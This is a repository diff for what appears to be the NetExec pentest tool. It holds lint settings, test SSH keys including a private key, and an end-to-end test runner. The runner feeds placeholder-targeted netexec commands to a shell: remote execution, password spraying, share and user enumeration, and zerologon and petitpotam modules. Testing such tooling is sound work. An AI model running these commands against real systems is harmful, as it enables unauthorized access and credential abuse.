select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
# Allow autofix for all enabled rules (when `--fix`) is provided.
fixable = ["ALL"]
unfixable = []
# Exclude a variety of commonly ignored directories.
exclude = [
".bzr",
".direnv",
".eggs",
".git",
".git-rewrite",
".hg",
".mypy_cache",
".nox",
".pants.d",
".pytype",
".ruff_cache",
".svn",
".tox",
".venv",
"__pypackages__",
"_build",
"buck-out",
"build",
"dist",
"node_modules",
"venv",
]
per-file-ignores = {}
line-length = 65000
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
target-version = "py37"
[tool.ruff.flake8-quotes]
docstring-quotes = "double"
inline-quotes = "double"
multiline-quotes = "double"
+2
View File
@@ -0,0 +1,2 @@
ls
whoami
+2
View File
@@ -0,0 +1,2 @@
dir
whoami
+5
View File
@@ -0,0 +1,5 @@
ls
[Environment]::UserName
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$env:username
$(Get-CimInstance Win32_ComputerSystem | select username).username
File renamed without changes.
+1
View File
@@ -0,0 +1 @@
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe4iQRJEJsKPmp8kyO3ZlJ1mHLKPcfQuMiNW3f4I0ldl6ywr54zpiPZgCof+vVQnyduq1nmvboEKN/epUJmD6jrkPfdDG22hkX/We/5bKyC62BbDhrZ8dqZcop8Qu+SBpWxdwX+cqsO+UT/qm7D9SzY6OYfzkTX+OQVcHBbVUWcphJTbcbPwJ2HZ1FGGLW0Fh8Tnvvh11kFB7sQYYDGGgKGjBcXTqGf6J/Y3P31u+HRVxz8S+nem1Ox/DDoXtjCO7Z98YhQDctidzj/92r12tPDHIw23b4MSCYOR/TKiYocwCS+nYMq5cjUSiWNraq+yL2RLIIMKaGT1ajac+QyOlvaXq7Z0kPF2VbrVOm3rIEw/AYfOAIh08BsenhkhoBilWtmky4VpURkLh4bgvV/91RKd04E1sYNsytcZ/0wXJAHc0RKZrHl/QjjJZ0LH+CMii/8PdbmW9IiSIXV3nqlGP931bekBoacZHbYIftXT1wGmRVT2lPQ7C3E2Gm43Kpy8M= marshall@ubuntu22desktop
+8
View File
@@ -0,0 +1,8 @@
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAPVonLaG
iqZXrvtilLcRgqAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGLeGGNZVSMPCxm/
Wt0ggSNt8L9ne9o68sRfzLl1HC+tAAAAkNPAbX5WGE5c8chM5f8evbWPgK+mmKSdHu/N9X
wGtM5icWYbrd+PZpRKP8NzyndXHYCsDj0T1/xSmnWjPzyvBuQ8r2nONbQ0QwpXY67p6PI7
rB1e/wznadGzHSEdRYBK1wvph0t8NUfE5DcD8uMQLb4FpcvkS0VU9FWQ+WLw//6n0XcU/W
wOHJOzQY12jSMBeA==
-----END OPENSSH PRIVATE KEY-----
+1
View File
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGLeGGNZVSMPCxm/Wt0ggSNt8L9ne9o68sRfzLl1HC+t TESTING-KEY
-18
View File
@@ -1,6 +1,5 @@
##### SMB
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol
@@ -24,9 +23,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### SMB Modules
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer --options
@@ -154,19 +150,7 @@ netexec smb TARGET_HOST -u '' -p '' -M petitpotam
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
##### WMI
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
##### WMI Modules
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp
##### LDAP
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid
@@ -220,7 +204,6 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
##### MSSQL Modules
# netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
@@ -238,7 +221,6 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_de
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
##### RDP
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD
+13 -65
View File
@@ -2,7 +2,6 @@ import argparse
import os
import subprocess
from rich.console import Console
import platform
def get_cli_args():
@@ -61,36 +60,9 @@ def get_cli_args():
required=False,
help="Protocols to test",
)
parser.add_argument(
"--line-nums",
nargs="+",
type=parse_line_nums,
required=False,
help="Specify line numbers or ranges to run commands from",
)
parser.add_argument(
"--print-failures",
action="store_true",
required=False,
help="Prints all the commands of failed tests at the end"
)
parser.add_argument(
"--dns-server",
action="store",
required=False,
help="Specify DNS server",
)
return parser.parse_args()
def parse_line_nums(value):
line_nums = []
for item in value.split():
if "-" in item:
start, end = item.split("-")
line_nums.extend(range(int(start), int(end) + 1))
else:
line_nums.append(int(item))
return line_nums
def generate_commands(args):
lines = []
@@ -98,35 +70,21 @@ def generate_commands(args):
commands_file = os.path.join(file_loc, "e2e_commands.txt")
with open(commands_file) as file:
if args.line_nums:
flattened_list = list({num for sublist in args.line_nums for num in sublist})
for i, line in enumerate(file):
if i + 1 in flattened_list:
if line.startswith("#"):
continue
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
lines.append(replace_command(args, line))
else:
for line in file:
if line.startswith("#"):
continue
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
for line in file:
if line.startswith("#"):
continue
line = line.strip()
if args.protocols:
if line.split()[1] in args.protocols:
lines.append(replace_command(args, line))
else:
lines.append(replace_command(args, line))
return lines
def replace_command(args, line):
kerberos = "-k " if args.kerberos else ""
dns_server = f"--dns-server {args.dns_server}" if args.dns_server else ""
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos).replace("{DNS}", dns_server)
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos)
if args.poetry:
line = f"poetry run {line}"
return line
@@ -135,7 +93,6 @@ def replace_command(args, line):
def run_e2e_tests(args):
console = Console()
tasks = generate_commands(args)
failures = []
result = subprocess.Popen(
"netexec --version",
@@ -150,13 +107,10 @@ def run_e2e_tests(args):
failed = 0
while tasks:
task = str(tasks.pop(0))
# replace double quotes with single quotes for Linux due to special chars/escaping
if platform.system() == "Linux":
task = task.replace('"', "'")
console.log(f"Running command: {task}")
task = tasks.pop(0)
console.log(f"Running command: {task!s}")
result = subprocess.Popen(
task,
str(task),
shell=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
@@ -171,7 +125,6 @@ def run_e2e_tests(args):
passed += 1
else:
console.log(f"[bold red]{task.strip()} :cross_mark:[/]")
failures.append(task.strip())
failed += 1
if args.errors:
@@ -183,11 +136,6 @@ def run_e2e_tests(args):
if args.verbose:
# this prints sorta janky, but it does its job
console.log(f"[*] Results:\n{text.decode('utf-8')}")
if args.print_failures and failures:
console.log("[bold red]Failed Commands:")
for failure in failures:
console.log(f"[bold red]{failure}")
console.log(f"Tests [bold green] Passed: {passed} [bold red] Failed: {failed}")